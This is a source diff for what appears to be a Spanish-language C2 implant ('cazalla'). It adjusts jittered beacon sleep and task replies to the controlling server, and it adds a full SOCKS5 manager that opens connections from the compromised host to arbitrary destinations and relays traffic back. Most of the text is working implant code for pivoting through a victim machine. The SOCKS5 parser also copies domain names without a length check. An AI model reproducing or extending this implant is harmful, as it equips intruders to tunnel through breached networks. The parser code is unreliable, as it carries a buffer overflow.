||||||
// Free the temporary buffer
|
|
||||||
free(tempBuffer);
|
free(tempBuffer);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -28,4 +28,7 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
|||||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
||||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
||||||
|
|
||||||
|
/* Formatted append helper */
|
||||||
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -4,6 +4,10 @@
|
|||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "identity.h"
|
#include "identity.h"
|
||||||
#include "spawn.h"
|
#include "spawn.h"
|
||||||
|
|
||||||
|
/* forward decls to avoid implicit warnings */
|
||||||
|
BOOL SelfIsWindowsVistaOrLater();
|
||||||
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||||
#include <tlhelp32.h>
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
|
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
|
||||||
|
|||||||
@@ -1,5 +1,12 @@
|
|||||||
#include "sleep.h"
|
#include "sleep.h"
|
||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
|
#include "socks_manager.h"
|
||||||
|
|
||||||
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
BOOL sleep(PAnalizador argumentos) {
|
BOOL sleep(PAnalizador argumentos) {
|
||||||
|
|
||||||
@@ -16,30 +23,39 @@ BOOL sleep(PAnalizador argumentos) {
|
|||||||
|
|
||||||
const int minVarianza = 1;
|
const int minVarianza = 1;
|
||||||
const int rangoVarianza = maxVarianza / 2;
|
const int rangoVarianza = maxVarianza / 2;
|
||||||
|
|
||||||
int Rand = aleatorioInt32(0, rangoVarianza);
|
int Rand = aleatorioInt32(0, rangoVarianza);
|
||||||
|
|
||||||
tiempoSleep += Rand;
|
tiempoSleep += Rand;
|
||||||
|
|
||||||
|
|
||||||
if (tiempoSleep < minVarianza) {
|
if (tiempoSleep < minVarianza) {
|
||||||
tiempoSleep = minVarianza;
|
tiempoSleep = minVarianza;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (cazallaConfig == NULL) {
|
if (cazallaConfig == NULL) {
|
||||||
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
||||||
|
|
||||||
|
/* convertir a milisegundos */
|
||||||
tiempoSleep = tiempoSleep * 1000;
|
tiempoSleep = tiempoSleep * 1000;
|
||||||
|
|
||||||
|
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
|
||||||
|
if (socks_proxy_active) {
|
||||||
|
DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico");
|
||||||
|
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
|
||||||
|
}
|
||||||
|
|
||||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||||
|
|
||||||
|
DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
|
||||||
|
|
||||||
|
/* respuesta al servidor */
|
||||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaTarea, tareaUuid, FALSE);
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
addInt32(respuestaTarea, tiempoSleep);
|
addInt32(respuestaTarea, tiempoSleep);
|
||||||
mandarPaquete(respuestaTarea);
|
mandarPaquete(respuestaTarea);
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,7 +7,8 @@
|
|||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
#include "socks_manager.h" // <— añadido para acceder al flag socks_proxy_active
|
||||||
|
|
||||||
BOOL sleep(PAnalizador argumentos);
|
BOOL sleep(PAnalizador argumentos);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -0,0 +1,569 @@
|
|||||||
|
#include "socks_manager.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "utils.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
//#include <winsock2.h>
|
||||||
|
//#include <ws2tcpip.h>
|
||||||
|
#pragma comment(lib,"Ws2_32.lib")
|
||||||
|
typedef SOCKET sock_t;
|
||||||
|
#define CLOSESOCK(s) closesocket(s)
|
||||||
|
#else
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
typedef int sock_t;
|
||||||
|
#define INVALID_SOCKET -1
|
||||||
|
#define SOCKET_ERROR -1
|
||||||
|
#define CLOSESOCK(s) close(s)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
|
||||||
|
|
||||||
|
typedef struct conn_entry {
|
||||||
|
uint32_t server_id;
|
||||||
|
sock_t sock;
|
||||||
|
struct conn_entry *next;
|
||||||
|
int closed;
|
||||||
|
} conn_entry_t;
|
||||||
|
|
||||||
|
static conn_entry_t *conn_list = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
static CRITICAL_SECTION conn_lock;
|
||||||
|
#else
|
||||||
|
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct outgoing_node {
|
||||||
|
socks_msg_t msg;
|
||||||
|
struct outgoing_node *next;
|
||||||
|
} outgoing_node_t;
|
||||||
|
static outgoing_node_t *out_head = NULL;
|
||||||
|
static outgoing_node_t *out_tail = NULL;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
static CRITICAL_SECTION out_lock;
|
||||||
|
#else
|
||||||
|
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void lock_init_once(void) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
InitializeCriticalSection(&conn_lock);
|
||||||
|
InitializeCriticalSection(&out_lock);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Inicialización / limpieza === */
|
||||||
|
|
||||||
|
void socks_manager_init(void) {
|
||||||
|
DBG_PRINTF("socks_manager_init()");
|
||||||
|
lock_init_once();
|
||||||
|
#ifdef _WIN32
|
||||||
|
WSADATA wsa;
|
||||||
|
WSAStartup(MAKEWORD(2,2), &wsa);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void socks_manager_cleanup(void) {
|
||||||
|
DBG_PRINTF("socks_manager_cleanup()");
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
conn_entry_t *cur = conn_list;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||||
|
conn_entry_t *n = cur->next;
|
||||||
|
free(cur);
|
||||||
|
cur = n;
|
||||||
|
}
|
||||||
|
conn_list = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
DeleteCriticalSection(&conn_lock);
|
||||||
|
DeleteCriticalSection(&out_lock);
|
||||||
|
WSACleanup();
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
socks_proxy_active = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Gestión de conexiones === */
|
||||||
|
|
||||||
|
static conn_entry_t* find_entry(uint32_t server_id) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
conn_entry_t *cur = conn_list;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->server_id == server_id) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
return cur;
|
||||||
|
}
|
||||||
|
cur = cur->next;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
|
||||||
|
conn_entry_t *e = malloc(sizeof(conn_entry_t));
|
||||||
|
if (!e) return NULL;
|
||||||
|
e->server_id = server_id;
|
||||||
|
e->sock = s;
|
||||||
|
e->next = NULL;
|
||||||
|
e->closed = 0;
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
e->next = conn_list;
|
||||||
|
conn_list = e;
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s);
|
||||||
|
return e;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void remove_entry(uint32_t server_id) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
conn_entry_t *cur = conn_list, *prev = NULL;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->server_id == server_id) {
|
||||||
|
if (prev) prev->next = cur->next;
|
||||||
|
else conn_list = cur->next;
|
||||||
|
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||||
|
DBG_PRINTF("remove_entry sid=%u", server_id);
|
||||||
|
free(cur);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
prev = cur;
|
||||||
|
cur = cur->next;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Cola de salida === */
|
||||||
|
|
||||||
|
static void enqueue_outgoing(socks_msg_t *m) {
|
||||||
|
printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len);
|
||||||
|
fflush(stdout);
|
||||||
|
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
|
||||||
|
memset(n,0,sizeof(*n));
|
||||||
|
n->msg.server_id = m->server_id;
|
||||||
|
n->msg.exit_flag = m->exit_flag;
|
||||||
|
n->msg.data_len = m->data_len;
|
||||||
|
if (m->data_len) {
|
||||||
|
n->msg.data = malloc(m->data_len);
|
||||||
|
memcpy(n->msg.data, m->data, m->data_len);
|
||||||
|
} else n->msg.data = NULL;
|
||||||
|
n->next = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&out_lock);
|
||||||
|
#endif
|
||||||
|
if (!out_tail) out_head = out_tail = n;
|
||||||
|
else { out_tail->next = n; out_tail = n; }
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&out_lock);
|
||||||
|
#endif
|
||||||
|
printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Volcado de cola de salida === */
|
||||||
|
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
|
||||||
|
printf("[SOCKS_MGR] flush_outgoing: iniciando\n");
|
||||||
|
fflush(stdout);
|
||||||
|
if (!cb) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: callback es NULL\n");
|
||||||
|
fflush(stdout);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&out_lock);
|
||||||
|
#endif
|
||||||
|
outgoing_node_t *n = out_head;
|
||||||
|
out_head = out_tail = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&out_lock);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int count = 0;
|
||||||
|
while (n) {
|
||||||
|
count++;
|
||||||
|
printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n",
|
||||||
|
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
|
||||||
|
fflush(stdout);
|
||||||
|
outgoing_node_t *next = n->next;
|
||||||
|
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
|
||||||
|
if (n->msg.data) free(n->msg.data);
|
||||||
|
free(n);
|
||||||
|
n = next;
|
||||||
|
}
|
||||||
|
printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Base64 === */
|
||||||
|
extern int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
|
||||||
|
extern int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
|
||||||
|
|
||||||
|
/* === Parseo SOCKS5 === */
|
||||||
|
static int parse_socks5_connect(const unsigned char *data, size_t data_len, char *out_ip, size_t ip_sz, uint16_t *out_port) {
|
||||||
|
if (data_len < 7) return -1;
|
||||||
|
if (data[0] == 0x05) {
|
||||||
|
if (data_len >= 10 && data[1] == 0x01 && data[2] == 0x00) {
|
||||||
|
unsigned char atyp = data[3];
|
||||||
|
if (atyp == 0x01 && data_len >= 10) {
|
||||||
|
snprintf(out_ip, ip_sz, "%u.%u.%u.%u", data[4], data[5], data[6], data[7]);
|
||||||
|
*out_port = (uint16_t)((data[8] << 8) | data[9]);
|
||||||
|
return 0;
|
||||||
|
} else if (atyp == 0x03) {
|
||||||
|
unsigned int len = data[4];
|
||||||
|
if (data_len >= 7 + len) {
|
||||||
|
memcpy(out_ip, &data[5], len);
|
||||||
|
out_ip[len] = 0;
|
||||||
|
*out_port = (uint16_t)((data[5+len] << 8) | data[6+len]);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Thread lector === */
|
||||||
|
#ifdef _WIN32
|
||||||
|
DWORD WINAPI remote_reader_thread(LPVOID arg);
|
||||||
|
#else
|
||||||
|
static void* remote_reader_thread(void* arg);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct reader_args {
|
||||||
|
uint32_t server_id;
|
||||||
|
sock_t s;
|
||||||
|
} reader_args_t;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
DWORD WINAPI remote_reader_thread(LPVOID arg) {
|
||||||
|
reader_args_t *ra = (reader_args_t*)arg;
|
||||||
|
uint32_t sid = ra->server_id;
|
||||||
|
sock_t s = ra->s;
|
||||||
|
free(ra);
|
||||||
|
printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s);
|
||||||
|
fflush(stdout);
|
||||||
|
unsigned char buf[4096];
|
||||||
|
int loop_count = 0;
|
||||||
|
while (1) {
|
||||||
|
loop_count++;
|
||||||
|
printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count);
|
||||||
|
fflush(stdout);
|
||||||
|
int r = recv(s, (char*)buf, sizeof(buf), 0);
|
||||||
|
printf("[READER] sid=%u recv() retornó r=%d", sid, r);
|
||||||
|
if (r < 0) {
|
||||||
|
int err = WSAGetLastError();
|
||||||
|
printf(" WSAError=%d", err);
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
fflush(stdout);
|
||||||
|
if (r <= 0) break;
|
||||||
|
printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("reader sid=%u recv=%d", sid, r);
|
||||||
|
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
printf("[READER] sid=%u datos encolados OK\n", sid);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
printf("[READER] sid=%u salió del loop, cerrando socket\n", sid);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("reader sid=%u closing", sid);
|
||||||
|
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||||
|
enqueue_outgoing(&m2);
|
||||||
|
CLOSESOCK(s);
|
||||||
|
printf("[READER] Thread terminado para sid=%u\n", sid);
|
||||||
|
fflush(stdout);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static void* remote_reader_thread(void* arg) {
|
||||||
|
reader_args_t *ra = (reader_args_t*)arg;
|
||||||
|
uint32_t sid = ra->server_id;
|
||||||
|
sock_t s = ra->s;
|
||||||
|
free(ra);
|
||||||
|
unsigned char buf[4096];
|
||||||
|
while (1) {
|
||||||
|
ssize_t r = recv(s, buf, sizeof(buf), 0);
|
||||||
|
if (r <= 0) break;
|
||||||
|
DBG_PRINTF("reader sid=%u recv=%zd", sid, r);
|
||||||
|
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
}
|
||||||
|
DBG_PRINTF("reader sid=%u closing", sid);
|
||||||
|
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||||
|
enqueue_outgoing(&m2);
|
||||||
|
CLOSESOCK(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* === Conexión remota === */
|
||||||
|
typedef struct {
|
||||||
|
uint32_t ipv4; // en network byte order
|
||||||
|
uint16_t port; // en network byte order
|
||||||
|
} socks_bound_addr_t;
|
||||||
|
|
||||||
|
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
|
||||||
|
printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
if (server_id == 0) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("invalid server_id=%u (ignored)", server_id);
|
||||||
|
return -4;
|
||||||
|
}
|
||||||
|
DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
|
||||||
|
struct sockaddr_in sa;
|
||||||
|
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (s == INVALID_SOCKET) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: socket() failed\n");
|
||||||
|
fflush(stdout);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("[SOCKS_MGR] Socket creado OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
memset(&sa,0,sizeof(sa));
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
if (inet_pton(AF_INET, dest, &sa.sin_addr) <= 0) {
|
||||||
|
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
|
||||||
|
fflush(stdout);
|
||||||
|
struct hostent *h = gethostbyname(dest);
|
||||||
|
if (!h) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: gethostbyname failed\n");
|
||||||
|
fflush(stdout);
|
||||||
|
CLOSESOCK(s);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
||||||
|
printf("[SOCKS_MGR] Hostname resuelto OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
|
||||||
|
fflush(stdout);
|
||||||
|
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("connect() failed errno=%d", errno);
|
||||||
|
CLOSESOCK(s);
|
||||||
|
return -3;
|
||||||
|
}
|
||||||
|
printf("[SOCKS_MGR] Conexión exitosa!\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
|
||||||
|
if (bound) {
|
||||||
|
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
|
||||||
|
bound->port = sa.sin_port; // ya en network byte order
|
||||||
|
printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port));
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* timeout para evitar bloqueo indefinido */
|
||||||
|
int timeout_ms = 15000; // 15s
|
||||||
|
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
|
||||||
|
DBG_PRINTF("socket timeout set %d ms", timeout_ms);
|
||||||
|
|
||||||
|
printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
create_entry(server_id, s);
|
||||||
|
#ifdef _WIN32
|
||||||
|
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
||||||
|
ra->server_id = server_id; ra->s = s;
|
||||||
|
printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
|
||||||
|
#else
|
||||||
|
pthread_t tid;
|
||||||
|
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
||||||
|
ra->server_id = server_id; ra->s = s;
|
||||||
|
pthread_create(&tid, NULL, remote_reader_thread, ra);
|
||||||
|
pthread_detach(tid);
|
||||||
|
#endif
|
||||||
|
printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Procesamiento principal === */
|
||||||
|
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
|
||||||
|
printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||||
|
if (server_id == 0) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("invalid server_id=%u", server_id);
|
||||||
|
return -4;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (exit_flag) {
|
||||||
|
printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
remove_entry(server_id);
|
||||||
|
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
conn_entry_t *e = find_entry(server_id);
|
||||||
|
if (!e) {
|
||||||
|
char dest[256]; uint16_t dport=0;
|
||||||
|
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
|
||||||
|
printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
|
||||||
|
if (r != 0) return -1;
|
||||||
|
|
||||||
|
socks_bound_addr_t bound;
|
||||||
|
memset(&bound, 0, sizeof(bound));
|
||||||
|
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
|
||||||
|
printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("connect_and_spawn_reader rc=%d", rc);
|
||||||
|
if (rc != 0) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc);
|
||||||
|
fflush(stdout);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Construir respuesta SOCKS5 con bound address real */
|
||||||
|
unsigned char reply[10];
|
||||||
|
reply[0] = 0x05; // SOCKS5
|
||||||
|
reply[1] = 0x00; // Success
|
||||||
|
reply[2] = 0x00; // Reserved
|
||||||
|
reply[3] = 0x01; // IPv4
|
||||||
|
/* Copiar IP (4 bytes en network byte order) */
|
||||||
|
memcpy(&reply[4], &bound.ipv4, 4);
|
||||||
|
/* Copiar puerto (2 bytes en network byte order) */
|
||||||
|
memcpy(&reply[8], &bound.port, 2);
|
||||||
|
|
||||||
|
printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n",
|
||||||
|
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len);
|
||||||
|
fflush(stdout);
|
||||||
|
if (e->sock != INVALID_SOCKET) {
|
||||||
|
size_t total = 0;
|
||||||
|
while (total < data_len) {
|
||||||
|
printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len);
|
||||||
|
fflush(stdout);
|
||||||
|
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
|
||||||
|
printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w);
|
||||||
|
fflush(stdout);
|
||||||
|
if (w <= 0) {
|
||||||
|
printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("send error sid=%u w=%d", server_id, w);
|
||||||
|
remove_entry(server_id);
|
||||||
|
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
total += w;
|
||||||
|
}
|
||||||
|
printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len);
|
||||||
|
fflush(stdout);
|
||||||
|
DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id);
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id);
|
||||||
|
fflush(stdout);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
